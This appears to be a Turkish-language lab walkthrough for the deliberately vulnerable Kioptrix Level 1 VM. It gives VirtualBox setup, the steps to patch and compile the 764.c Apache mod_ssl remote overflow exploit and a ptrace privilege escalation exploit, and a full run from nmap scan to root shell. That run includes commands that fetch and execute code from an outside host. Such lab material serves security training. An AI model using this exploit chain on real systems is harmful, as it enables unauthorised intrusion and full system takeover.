• Apache yazılımı ve
• Apache’nin mod_ssl modülünde

• Network ayarları şöyle uygulanmalıdır.
  
  

      Oracle Virtualbox -> Kioptrix Level 1 VM -> 
      (Sağ Tık) -> Settings
  
      -> Network
  
      -> Attached to : Bridge Adapter
  
      -> Advanced
  
  	-> Pcnet-PCI II(Am79C970A) // Bu adaptör türü seçilmezse 
  				   // saldırgan ubuntu 20.04 LTS 
  				   // VM’de nmap ile taramada 
  				   // kioptrix VM görünmüyor.
  

  
  
• Kioptrix VM ilk başlatılırken bir seferlik gelecek olan hardware tanımlama popup’ları şu şekilde geçilir.
  
  

      -> Press any key to continue.	ENTER
  	
      -> Hardware Added			Do Nothing seçilir.
  
      -> Hardware Added			Do Nothing (x2) seçilir.
  
      -> Hardware Added			Do Nothing (x3) seçilir.
  

  
  
• Böylece vm açılır ve sorunsuz çalışır.
  
  

• Network ayarları şöyle uygulanmalıdır.
  
  

       Oracle Virtualbox -> Ubuntu 20.0 4 LTS VM -> 
       (Sağ Tık) -> Settings
  
      -> Network
  
      -> Attached to : Bridge Adapter
  
      -> Advanced
  
          -> Pcnet-PCI II(Am79C970A) // Bu adaptör türü seçilmezse 
  				   // saldırgan ubuntu 20.04 LTS 
  				   // VM’de nmap ile taramada 
  				   // kioptrix VM görünmüyor.
  
  

  
  
• Exploit Script’i Edit’leme ve Derleme
  
  Saldırgan VM’de düzenlenecek saldırıda kullanılacak 764.c exploit’i (apache remote buffer overflow exploit’i) biraz eski durumdadır ve bu nedenle güncelleme gerekecektir.
  
  Ubuntu 20.04 LTS VM Terminal #1:
  
  

  sudo su
  wget https://www.exploit-db.com/raw/764
  mv 764 764.c
  gedit 764.c		// Gedit’in açılması biraz uzun sürecek.
  

  
  
  • Dosyanın başındaki #include <...> direktiflerine ekstradan şu kütüphaneler satırı eklenecek.
    
    

    ...
    #include <openssl/rc4.h> 
    #include <openssl/md5.h>
    ...
    

    
    
  • Dosyada
    
    

    unsigned char *p, *end;
    

    
    satırı bulunacak ve başına aşağıdaki gibi const eklenecek.
    
    

    const unsigned char *p, *end;
    

    
    
  • Dosyada wget anahtar kelimesi aratılarak aşağıdaki satır bulunulacak.
    
    

    #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
    

    
    Bu satırdaki URL adresi
    
    

    http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
    

    
    yerine
    
    

    	
    http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
    

    
    şeklinde güncellenecek.
    
    Not:
    
    İlk link kırık olduğundan exploit çalışırken ikinci çalıştırılacak komut olarak çalıştırmayı denediğinde uzun süre beklemede kalıyor. İkinci link yapınca link kırık olmadığından direk shell geliyor, fakat ikinci link de esasında çalışmıyor. Çalışacak olsaydı otomatikmen linkten gelen root yetkisine yükseltme exploit’i çalışacaktı. Fakat çalışmıyor. Eğer gelecekte bu ikinci linkte kırık olursa exploit’in sorunsuz çalışabilmesi için ikinci link olarak saldırının ilerleyen aşamalarında yapacağımız örneğin python3 ile oluşturulan http server’ın ip adresi konulabilir.
    
    
  • Dosya bu yeni haliyle derlenecek.
    
    Ubuntu 20.04 LTS VM Terminal:
    
    

    gcc -o 764 764.c -lcrypto
    ./764                 // Help Menüsünü Basar.
    

    
    Çıktı:
    
    

    *******************************************************************
    * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
    *******************************************************************
    * by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
    * #hackarena  irc.brasnet.org                                     *
    * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
    * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
    * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
    *******************************************************************
    
    : Usage: ./764 target box [port] [-c N]
    
      target - supported box eg: 0x00
      box - hostname or IP address
      port - port for ssl connection
      -c open N connections. (use range 40-50 if u dont know)
      
        
      Supported OffSet:
    
       (…)
    

    
    Bu adım ile exploit script’imiz hazırdır.
    
    
• Post-Exploit Script'i Edit'leme
  
  Saldırgan vm’de post exploitation (yetki yükseltme) script’i de
  
  
  • İndirilir,
  • Güncellenir ve
  • python3 simple http server ile dışarıdan erişilebilir kılınır.
  
  Ubuntu 20.04 LTS VM Terminal #2:
  
  

  cd Desktop/
  mkdir python3_sunucu_kok_dizin
  cd python3_sunucu_kok_dizin
  wget https://www.exploit-db.com/raw/3	    // Local Privilege 
  ls					    // Escalation Exploit
  

  
  Çıktı:
  
  

  3
  

  
  

  mv 3 ptrace.c
  gedit ptrace.c
  

  
  Exploit’teki şu satır
  
  

  #include <linux/user.h>

  
  şu şekilde güncellenmeli:
  
  

  #include <sys/user.h>

  
  python3 simple http server ile dışarıdan erişilebilir kılınır.
  
  

  python3 -m http.server 9090     // Post-exploit script dışarıdan 
                                  // erişilebilir / indirilebilir 
                                  // yapılmış olur.
  

  
  

nmap IP_BLOGU               // ip a komutu ile bulunulan ağın ip 
                            // bloğu alınabilir.

...

Nmap scan report for IP_ADDRESS_OF_KOPTRIX_VM
Host is up (0.0015s latency).
Scanned at 2024-07-21 17:16:05 +03 for 24s
Not shown: 994 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:2D:2A:9F (Oracle VirtualBox virtual NIC)
Final times for host: srtt: 1470 rttvar: 1264  to: 100000

...

./764 0x6b IP_ADDRESS_OF_KOPTRIX_VM 443 -c 40

bash-2.05$

bash-2.05$ whoami

apache

bash-2.05$ wget http://Ubuntu_20_04_LTS_VM_IP_Address:9090/ptrace.c
bash-2.05$ ls

ptrace.c

bash-2.05$ gcc ptrace.c -o ptrace
bash-2.05$ ./ptrace

[+] Attached to 6192
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root